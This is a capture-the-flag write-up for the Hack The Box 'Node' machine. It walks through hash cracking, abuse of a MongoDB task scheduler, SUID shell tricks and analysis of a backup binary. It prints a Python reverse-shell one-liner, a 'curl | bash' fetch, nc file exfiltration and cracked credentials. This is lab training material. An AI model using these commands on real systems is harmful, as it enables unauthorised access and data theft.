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Node Writeup
Introduction :
Node is a medium linux box released back in October 2017.
Node is a medium linux box released back in October 2017.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ nihilist [ 10.10.14.11/23 ] [~]
→ nmap -F 10.10.10.58 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:32 GMT
Nmap scan report for 10.10.10.58
Host is up (0.11s latency).
Not shown: 98 filtered ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 5.26 seconds
λ nihilist [ 10.10.14.11/23 ] [~]
→ nmap 10.10.10.58 -sCV -p22,3000 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:33 GMT
Nmap scan report for 10.10.10.58
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
Our nmap port picked up a http service running on port 80, so let's try to investigate it with dirsearch/gobuster :
λ nihilist [ 10.10.14.11/23 ] [~]
→ dirsearch -u http://10.10.10.51:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -e php,txt,html -x 200
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u -e -t 50 -x 500
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 87646
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-03_20-40-22.log
Target: http://10.10.10.51:3000/
CONNECTION TIMEOUT: There was a problem in the request to:
Task Completed
λ nihilist [ 10.10.14.11/23 ] [~]
→ gobuster dir --url http://10.10.10.58:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.58:3000/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/03/03 20:41:03 Starting gobuster
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/faa34154-d721-4655-ac39-9224e8387b5c => 200. To force processing of Wildcard responses, specify the '--wildcard' switch
Right away we can see that this box may not be as easy as we think, because bruteforcing files on the website on port 3000 returns the same response (status 200) which basically means that we have nonexistant pages.
SQL Injection doesn't seem to work here, but nonetheless pressing F12 > Debugger > we see that an angular JS script named profile.js is being used in assets/js/app/controllers/
Being hinted towards /api/users/ we investigate :
And we get a few usernames along with their hashes which can be easily identified with hash-identifier :
λ nihilist [ 10.10.14.11/23 ] [~]
→ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
Possible Hashs:
[+] SHA-256
[+] Haval-256
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
--------------------------------------------------
So let's use hashcat to crack them with rockyou.txt, with the correct SHA-256 algorithm :
λ nihilist [ 10.10.14.11/23 ] [~]
→ hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v3.5.0) starting...
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14343296
* Bytes.....: 139921497
* Keyspace..: 14343296
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
And we get a list of credentals for us to use :
myP14ceAdm1nAcc0uNT manchester
tom spongebob
mark snowflake
So we login as the admin account, and download the myplace.backup file for us to inspect it further :
λ nihilist [ 10.10.14.11/23 ] [~]
→ cd _HTB
λ nihilist [ 10.10.14.11/23 ] [~/_HTB]
→ mkdir Node
λ nihilist [ 10.10.14.11/23 ] [~/_HTB]
→ cd Node
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cp /home/nihilist/Downloads/myplace.backup .
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ file myplace.backup
myplace.backup: ASCII text, with very long lines, with no line terminators
so we have some ascii text, but upon opening it we see that it may look like base64 so let's decode it :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat myplace.backup | base64 -d > myplace
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ file myplace
myplace: Zip archive data, at least v1.0 to extract
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ unzip myplace
Archive: myplace
creating: var/www/myplace/
[myplace] var/www/myplace/package-lock.json password:
password incorrect--reenter:
password incorrect--reenter:
skipping: var/www/myplace/package-lock.json incorrect password
creating: var/www/myplace/node_modules/
creating: var/www/myplace/node_modules/serve-static/
[myplace] var/www/myplace/node_modules/serve-static/README.md password:
password incorrect--reenter:
And we get a zip archive ! although when we try to unzip it we need to give it a password , and our previous three passwords aren't working here. so let's use fcrackzip and rockyou.txt to try and guess the password :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup
PASSWORD FOUND!!!!: pw == magicword
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ unzip myplace
Archive: myplace
[myplace] var/www/myplace/package-lock.json password:
So we unzip it and we have a bunch of files to work with, most notably /var/www/myplace/app.js :
Which reveals mark's password : 5AYRft73VtFpc84k so let's ssh as mark :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ ssh mark@10.10.10.58
The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established.
ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.58' (ECDSA) to the list of known hosts.
mark@10.10.10.58's password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
.-.
.-'``(|||)
,`\ \ `-`. 88 88
/ \ '``-. ` 88 88
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888'
`-..-( )
`-`
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ cat /home
cat: /home: Is a directory
mark@node:~$ ls /home
frank mark tom
mark@node:~$ cat /home/mark/user.txt
cat: /home/mark/user.txt: No such file or directory
mark@node:~$ cat /home/frank/user.txt
cat: /home/frank/user.txt: No such file or directory
mark@node:~$ cat /home/tom/user.txt
cat: /home/tom/user.txt: Permission denied
As you can see here, we are logged in as mark and we have 3 users to work with : frank, mark and tom. although we need to gain tom's privileges to be able to print the flag. so let's list tom's running processes :
mark@node:~$ ps -ef | grep tom
tom 1211 1 0 Mar03 ? 00:00:12 /usr/bin/node /var/www/myplace/app.js
tom 1221 1 0 Mar03 ? 00:00:07 /usr/bin/node /var/scheduler/app.js
mark 1600 1579 0 06:01 pts/0 00:00:00 grep --color=auto tom
So let's investigate /var/scheduler/app.js :
mark@node:~$ cd /var/scheduler
mark@node:/var/scheduler$ cat app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
And here we see the connection to the scheduler database, but what's ineresting is the setInterval function which will basically execute anything under the cmd value before deleting the doc from the collection. So let's log into the scheduler database as the user mark :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ nano nihilist.sh
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat nihilist.sh
#!/bin/bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
mark@node:/tmp$ wget 10.10.14.11:8080/nihilist.sh && chmod +x nihilist.sh
--2020-03-04 06:13:22-- http://10.10.14.11:8080/nihilist.sh
Connecting to 10.10.14.11:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 240 [text/x-sh]
Saving to: ‘nihilist.sh’
nihilist.sh 100%[===============================================>] 240 --.-KB/s in 0s
2020-03-04 06:13:23 (18.6 MB/s) - ‘nihilist.sh’ saved [240/240]
mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> db.tasks.insert({"_id" : ObjectId("50e28180497eade7db1b7a5b"), "cmd" : "/tmp/nihilist.sh"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
And here we basically copy the /bin/dash binary into the /tmp folder in order to have an executable shell owned by the user tom.
mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password:
connecting to: scheduler
> db.tasks.insert( { "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" })
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("5e5fb1764ae843faaa36fbcc"), "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" }
> db.tasks.find()
> exit
bye
mark@node:~$ ls -lash /tmp/nihilist
152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist
mark@node:~$
mark@node:~$ ls -lash /tmp/nihilist
152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist
mark@node:~$ /tmp/nihilist -p
$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
$ exit
mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password:
connecting to: scheduler
> db.tasks.insert( { "cmd" : "chmod u+s /tmp/nihilist" } )
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
> db.tasks.find()
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
> db.tasks.find()
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
> db.tasks.find()
{ "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
> db.tasks.find()
> exit
bye
mark@node:~$ /tmp/nihilist -p
$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)
$ whoami
tom
and here we can see that we have the binary named nihilist, owned by the user tom, therefore running it with the -p flag allows us to have tom's permissions. so let's print the user flag :
mark@node:~$ /tmp/nihilist -p
$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)
$ cat /home/tom/user.txt
cat: /home/tom/user.txt: Permission denied
$ whoami
tom
$ cd /home/tom
$ mkdir .ssh
mkdir: cannot create directory ‘.ssh’: Permission denied
$ cd ..
$ ls -lash
total 20K
4.0K drwxr-xr-x 5 root root 4.0K Aug 31 2017 .
4.0K drwxr-xr-x 25 root root 4.0K Sep 2 2017 ..
4.0K drwxr-xr-x 2 root root 4.0K Aug 31 2017 frank
4.0K drwxr-xr-x 3 root root 4.0K Sep 3 2017 mark
4.0K drwxr-xr-x 6 root root 4.0K Sep 3 2017 tom
Now when we try to somehow edit something in any of the 3 user's directories we cannot , that's because they are owned by root, so let's move onto the root privesc :
In order to privesc to the root user, we need to first enumerate the box using LinEnum.sh
Terminal 1:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ locate LinEnum.sh
/home/nihilist/_HTB/Cronos/LinEnum.sh
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cp /home/nihilist/_HTB/Cronos/LinEnum.sh .
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
$ which curl
/usr/bin/curl
$ curl http://10.10.14.11:8081/LinEnum.sh | bash
Not going to paste all the output of LinEnum.sh but we'll get to the interesting part:
$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newuidmap
/tmp/nihilist
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount
$ cd /var
$ ls
backups cache crash lib local lock log mail opt run scheduler snap spool tmp www
$ cd www/myplace
$ ls
app.html app.js node_modules package.json package-lock.json static
$ grep -Ri backup .
./app.js:const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
./app.js: app.get('/api/admin/backup', function (req, res) {
./app.js: var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
./app.js: var backup = '';
./app.js: res.header("Content-Disposition", "attachment; filename=myplace.backup");
./app.js: res.send(backup);
./app.js: backup += chunk;
./static/vendor/jquery/jquery.js: contextBackup = outermostContext,
./static/vendor/jquery/jquery.js: dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
./static/vendor/jquery/jquery.js: outermostContext = contextBackup;
./static/assets/js/app/controllers/admin.js: $scope.backup = function () {
./static/assets/js/app/controllers/admin.js: $window.open('/api/admin/backup', '_self');
./static/partials/admin.html:
So we do have a few binaries for us to use with the SetUID flags for us to use, most notably the /usr/local/bin/backup that once we grep -Ri we know how it works, but still we have other things to do. but we there is something else we can still do with the mongodb cmd exploit in order to change the permissions of our nihilist binary.
mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password:
connecting to: scheduler
> db.tasks.insert( { "cmd" :"chown tom:admin /tmp/nihilist; chmod 6755 /tmp/nihilist;"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
> exit
bye
mark@node:~$ ls -la /tmp/nihilist
-rwsr-sr-x 1 tom admin 154072 Mar 4 13:48 /tmp/nihilist
And here we execute the nihilist binary to be part of the admin group.
mark@node:~$ /tmp/nihilist -p
$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
$ cat /home/tom/user.txt
cat: /home/tom/user.txt: Permission denied
However as you can see, this is not enough and we still need to escalate more privileges. now before our find command found the /usr/local/bin/backup binary so let's copy it locally on our machine to inspect it :
Terminal 1:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ nc -lvnp 8081 > backup
listening on [any] 8081 ...
$ nc 10.10.14.11 8081 < /usr/local/bin/backup
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ nc -lvnp 8081 > backup
listening on [any] 8081 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.58] 36276
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ file backup
backup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ chmod +x backup
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ ./backup
once given the permissions to execute backup, we get nothing, so let's examine it using radare2 :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ r2 backup
[0x08048780]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x08048780]> afl
[0x08048780]> vvv
let's analyse the assembly (aaa) then print out the function list (afl) and then having visual representation (vvv) once we hit spacebar to have a good representating graph of what the binary does :
from here, we see that the binary's main function checks for the number of arguements equal to 3 and if it returns false, it jumps to the block on the left to exit altogether. which is probably what we're seeing.
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ ./backup 1 2 3
____________________________________________________
/ \
| _____________________________________________ |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | Secure Backup v1.0 | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |_____________________________________________| |
| |
\_____________________________________________________/
\_______________________________________/
_______________________________________________
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
_-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
_-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
_-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
_-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
[!] Could not open file
So once we give it 3 arguements it finally prints out something, so let's run strace as we originally intended, but this time using 3 arguements :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ strace ./backup 1 2 3
[...]
openat(AT_FDCWD, "/etc/myplace/keys", O_RDONLY) = -1 ENOENT (No such file or directory)
write(1, " \33[33m[!]\33[37m Could not open fi"..., 36 [!] Could not open file
) = 36
write(1, "\n", 1
) = 1
exit_group(1) = ?
+++ exited with 1 +++
And here we see that it's trying to read something in /etc/myplace/keys so let's check it on our box :
$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
$ cd /etc/myplace
$ cat keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
and we get 3 hashes ! and if you look closely, here we have one of the keys we found with our previous recursive grep -Ri command. so let's copy it locally and see what the binary tries to do once we have this /etc/myplace/keys file in place.
λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node]
→ mkdir /etc/myplace
λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node]
→ nano /etc/myplace/keys
Now that it's in place, let's try to execute the backup with that one particular key we found again on the /root directory :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
[+] Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
And we seem to get a base64 encoded string, let's copy it into a file, and decode it.
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ nano b64backup
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat b64backup
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat b64backup | base64 -d > b64d_backup
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ file b64d_backup
b64d_backup: Zip archive data, at least v?[0x333] to extract
And we have a zip archive, so let's try to unzip it :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ unzip b64d_backup
Archive: b64d_backup
skipping: root.txt need PK compat. v5.1 (can do v4.6)
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ 7z e b64d_backup
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
Scanning the drive for archives:
1 file, 1141 bytes (2 KiB)
Extracting archive: b64d_backup
--
Path = b64d_backup
Type = zip
Physical Size = 1141
Enter password (will not be echoed):
Everything is Ok
Size: 2584
Compressed: 1141
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ ls
b64backup b64d_backup backup nihilist.sh LinEnum.sh myplace myplace.backup root.txt var
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat root.txt
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
